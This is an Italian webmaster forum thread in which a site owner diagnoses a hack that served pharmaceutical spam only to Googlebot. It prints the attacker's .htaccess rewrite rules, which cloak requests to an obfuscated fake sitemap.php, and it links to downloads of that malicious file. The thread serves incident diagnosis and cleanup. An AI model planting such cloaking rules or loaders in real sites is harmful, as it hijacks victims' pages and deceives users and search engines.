Solo GoogleBot vede lo spam?

[444523]

Solo GoogleBot vede lo spam?

Salve,

non so se è la sezione giusta. Caso mai prego il moderatore di spostare la discussione...

Sta accadendo una cosa strana su un mio sito: solo Googlebot dagli strumenti per webmaster vede dello spam nel meta-name keywords. Le pagine sono in html ed ho cercato dappertutto (in effetti ieri ho eseguito una "ripulitura" generale perchè qualcosa c'era), ora nel codice non appare più nulla, sia con javascript attivato che disattivato. Ho eseguito scansioni anche con vari servizi che controllano il codice simulando googlebot, e non appare nulla...

Controllato sia con Firefox che Explorer il codice, ed è pulito. Provato diverse varie versioni di visualizzazioni googlebot ed altri servizi similari: il codice sembra pulito.

Solo nel googlebot "strumenti webmaster" continua ad apparire dello spam nelle keyword. Mi è venuto un dubbio: non è che non scansiona in diretta ed invece scansiona la vecchia pagina "cache" ancora presente in Google? In effetti non è ancora cambiata (perchè la ripulitura è avvenuta proprio ieri).

Oh, ma tutte a me succedono? Cliccando nelle ricerche il sito si re-indirizza correttamente e visualizza pagina con codice pulito... sembrerebbe tutto a posto quindi, (va bene che ho corretto solo ieri), ma il fatto che googlebot di strumenti webmaster visualizzi ancora spam mi preoccupa non poco...

[444523]

Sperando sempre di non far arrabbiare nessuno e che questa sia la sezione giusta...

Nel frattempo ho installato anche questo plugin per Firefox
chrispederick.com/work/user-agent-switcher

In pratica è possibile "vedere" i siti con vari bot, fra cui Googlebot 2.1, Msnbot, Yahoo Slurp... anche qui il codice è pulito e non c'è spam.

A questo punto non rimane che aspettare, possibile che il Googlebot negli strumenti sia "collegato" in qualche modo a qualche vecchia cache o redirect di Google. I link nuovi comunque li scansiona direttamente... e non c'è traccia di spam.

[skyluke21]

Per quanto googlebot se ne possa accorgere anche dopo pochi minuti, la sezione deglis trumenti per webmaster si aggiorna sempre abbastanza in ritardo. Quindi direi perlomeno di aspettare 4 o 5 giorni per trarre conclusioni.

[444523]

@skyluke21 said:

Quindi direi perlomeno di aspettare 4 o 5 giorni per trarre conclusioni.

Beh la tua risposta mi conforta... in effetti è una cosa alquanto strana.
Oltretutto, con la storia dei redirect di Google (con cui controlla i click), non si sono ancora riaggiornati (alcuni) ed effettivamente re-indirizzano ancora alla pagina spam.

In realtà anche quelle pagine sono "pulite", con l'indirizzo esatto (bypassando il redirect delle ricerche va tutto bene) è il redirect di Google che invia alcune pagine ai vecchi link di spam...

Aspettiamo un po', vi farò sapere...

[444523]

No, no... mi sbagliavo. La verifica "visualizza come GoogleBot" funziona in tempo reale è che le pagine erano ancora infette!

Tutto colpa di uno strano htaccess, se i moderatori acconsentano posterò anche il codice, davvero strano in verità. Cancellato quello, istantaneamente tutte le pagine html (si badi statiche!) sono tornate quasi tutte libere dal codice verificandolo sempre con il comando "visualizza come GoogleBot" da strumenti webmaster...

Ora il problema è da vedere se questo misterioso htaccess si "riforma" da solo, nonostante abbia cambiato la password ftp con una password decisamente molto difficile da scardinare...

[zanna86]

Si dai...posta che sono sempre divertenti queste cose da vedere..!!!Ovviamente lo sono state un pò meno per te...eh

[444523]

Ricapitolando: ho subito un attacco di link spam nelle mie migliaia di pagine html.
Cancellare i link spam (i soliti farmaci) nelle migliaia di pagine html è stato facile dapprima, perchè a me basta eseguire un "rebuild" sul server da template "puliti". Ma non sapevo che non poteva bastare!

Il problema grosso era che: i link spam erano praticamente invisibili nel codice html, invisibili ai vari servizi gratuiti che si trovano su Internet e che oltretutto affermano di "simulare" alla perfezione googlebot. In realtà lo spam nel codice che modificava title e keyword era visibile solo tramite "strumenti webmaster" in "visualizza come googlebot".
Solo in tal caso visionando il codice si potevano vedere le "alterazioni". Quindi se volete esser certi c'è un solo sistema.

Ovviamente ci si accorge anche dalle serp di Google che le vostre pagine sono state modificate nel titolo e keyword, e nei casi più gravi con l'aggiunta di altri link spam diretti sempre a siti "farmaceutici".

La cosa interessante è che il tutto proveniva da un .htaccess caricato sul server che comandava una fantomatica sitemap.php, mai apparsa prima, da me. La sitemap.php è curiosa: ci sono alcune righe di codice che sembrano quelle normaili per creare sitemap (oltretutto dichiarate "opensource), ma poi verso la fine ci sono parecchie righe di codice criptate e quindi impossibile da analizzare.

Ecco l'inizio di questa sitemap che eseguiva il codice maligno:
<?php
/*
*

• Copyright (c) 2009 Doubleclique (cameron doubleclique [dot] com)
• Licensed under the MIT (opensource.org/licenses/mit-license.php) license

*/
Vari comandi in chiaro che sembrano tipici di un file come questo e poi molte righe criptate ed illeggibili.

Notevole questa "hackerata" perchè probabilmente interagisce con Apache: bastava avere i due file infetti sul server per modificare istantaneamente pagine statiche html senza alcuna sovrascrittura. Cancellando i due file "estranei" le pagine html vengono visualizzate normalmente, senza più title e keyword spammatorie.

Ed ecco qui l'.htaccess farlocco che re-indirizzava tutto alla sitemap.php

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} goog?le
RewriteCond %{HTTP_REFERER} (go?ogle|aol)
RewriteCond %{REQUEST_URI} /$
RewriteCond %{REQUEST_FILENAME} (html|htm|php|shtml|phtml)$
RewriteCond %{REQUEST_FILENAME} !sitemap.php
RewriteCond %{DOCUMENT_ROOT}/sitemap.php -f
RewriteRule ^.*$ /sitemap.php
</IfModule>

Pur conoscendo il contenuto della mia directory del sito principale dapprima non ci avevo fatto caso, vuoi per dabbenaggine, vuoi perchè pensavo d'aver risolto il problema... ho contattato il programmatore dello script del mio sito e ci ha messo 20 secondi a capire tutto.
Nel frattempo un sistemista ha controllato il server e mi ha detto che è stato effettuato un poderoso attacco di brute force Ftp riuscendo a passare tramite l'account di default Ftp (che ora è stato disattivato).

Vediamo se riappariranno questi due "magici" file i prossimi giorni.

[zanna86]

Per capire come funzionava bisognerebbe decriptare il codice del sitemap.php

Non era qualcosa del tipo eval base64 ?? Esistono dei tool on-line per decriptarli!

Comunque è strano che i vari tool non ti rivelavano lo spam impostando lo user agent di google...boh...bisognerebbe vedere cosa fa il sitemap.php...magari li venivan fatti altri controlli!

[444523]

Sì eval 64... ma non sembra si riesca a fare molto.
Se vuoi divertirti a provarci [...]...

[zanna86]

Si si, [...]!

Ciao

[vnotarfrancesco]

Ciao 444523 e zanna86.
Lo spirito di un forum è quello di condividere non solo le idee ma anche i problemi e le relative soluzioni in modo che se qualcun altro dovesse avere un problema analogo possa trarne giovamento dall'esperienza di chi l'ha preceduto.

Per questo motivo l'invito allo scambio di messaggi in privato è vietato dal regolamento che tutti abbiamo accettato quando ci siamo iscritti al forum gt.

10.0. Incitazione all'invio di PVT e/o email
Salvo nelle Aree Annunci o dove specificatamente consentita, è vietata la richiesta di contatto privato in e-mail, pvt o altra forma di chat.
Le risposte ed i suggerimenti ai messaggi devono essere pubblici, in modo da essere d'aiuto a tutta la comunità del forum.
Nel caso che un problema tecnico richieda lo scambio di files grossi, si può sempre usare uno dei tanti servizi di condivisione files disponibili gratuitamente sul web e che permettono a tutti gli utenti del forum di poter contribuire alla discussione tecnica.

Valerio Notarfrancesco

[444523]

E' vero... avevo già letto in un'altra discussione, ma frequentando diversi forum talvolta mi capita di dimenticare il regolamento.

Comunque, per chi si vuole divertire, il file php (la finta sitemap) eccola qui (il servizio dura 30 gg per il download):

ge.tt/2ps1mHM/sitemap.php?type=download

[zanna86]

Certo vnotarfrancesco...avrei sicuramente postato i miei commenti, soluzioni ,problemi ecc.. e tutto quant'altro sia utile a tutta la comunità!

Ho decodificato parte del file e cercato un pò su internet e ho trovato qualcosa di simle non criptato!

Ecco qua: ge.tt/6TWfmLK

Sembra che riconosca i bot sia in base allo user agent sia in base all'ip...quindi in teoria i vari tool on-line avrebbero dovuto smarcherare l'hack...

[444523]

@zanna86 said:

Sembra che riconosca i bot sia in base allo user agent sia in base all'ip...quindi in teoria i vari tool on-line avrebbero dovuto smarcherare l'hack...

E purtroppo no... ne ho provati una decina, anche un plug-in per Firefox. Solo il vero Googlebot ti garantisce di visualizzare questo tipo di spam. Il problema, oltretutto, è che non puoi fare più di tante verifiche negli strumenti webmaster... c'è un limite, ora sono bloccato.
Speriamo nei prossimi giorni di poter tornare a verificare il tutto...

Anche su alcuni forum in lingua inglese ho trovato che ne discutevano: solo il vero googlebot ti garantisce al 100%.

[zanna86]

Il codice che ho postato su ge.tt l'ho trovato in rete e una parte era uguale a una parte che ho decodificato del tuo. Il codice che ho postato fa il test dell ip OR il test dello user agent.

Magari il tuo codice è un pò diverso...infatti se facesse un controllo incrociato user agent AND ip...ecco allora che si svela il motivo per cui i tool on line non si comportavano come il vero googlebot!

Curiosità...bing e yahoo vedevano lo spam??

Ciao

[444523]

Infatti penso proprio che incroci Ip e user agent. In questo modo riesce a "nascondere" lo spam finchè non te ne accorgi che è presente nelle serp di Google.

Per quanto riguarda Yahoo e Bing non ho verificato, ma guardando adesso le serp sono "pulite", può darsi che non lo vedessero o che passino molto più raramente sul sito... in fondo il codice infetto è stato lì pochissimo tempo.

Probabilmente non lo "vedevano"...

[444523]

Certo che Google è fantastico... se li meritano davvero tutti quei milioni di dollari di utile operativo.

Dunque: attacco verificatosi il 4 o 5 Febbraio, il 6 Febbraio Google mi avverte e mi fa scendere pesantemente nelle serp, il 7 Febbraio risolto il problema sul sito. Non comunico nulla a Google, nonostante il 6 Febbraio sia arrivato un avvertimento di hacking in "risorse webmaster".

Il 7 Febbraio stesso, viene già tolta in home-page l'avviso che il sito "potrebbe essere compromesso", ma le visite sono comunque basse.
Il giorno 8 Febbraio (come se si fosse accorto che il problema era risolto) avviene un incessante accesso di googlebot sul sito.

8 Febbraio ricominciano lentamente a risalire le visite.
9 Febbraio deciso miglioramento risultati nelle serp.
10 Febbraio, mattina, in questo momento sono "normale", accessi provenienti da Google come se non fosse mai accaduto nulla.
Alcune serp però appaiono ancora "infette", Googlebot probabilmente non c'è ancora arrivato (sono migliaia di pagine in html).
Nonostante tutto è come se Google (senza alcuna comunicazione da parte mia) si fosse accorto che il problema è stato risolto ed il sito può riprendere a "correre" liberamente.

Occorre però precisare che è un sito molto "anziano", oltre dieci anni, e con centinaia di backlink univoci. Per siti più "giovani" temo che la procedura sia decisamente più lunga.

A questo punto eviterei di inoltrare la "proposta di riconsiderazione", perlomeno se continuo a verificare questo trend positivo. Che dite?

[donclaudissimo]

My Two Cents

Se stai notando un ritorno alla normalità eviterei di inviare la proposta di riconsiderazione.

Se fossi in te approfitterei dell'accaduto per analizzare i log alla ricerca di qualche visita di un quality rater...non si sa mai che la velocità di google sia anche dovuta all'intervento umano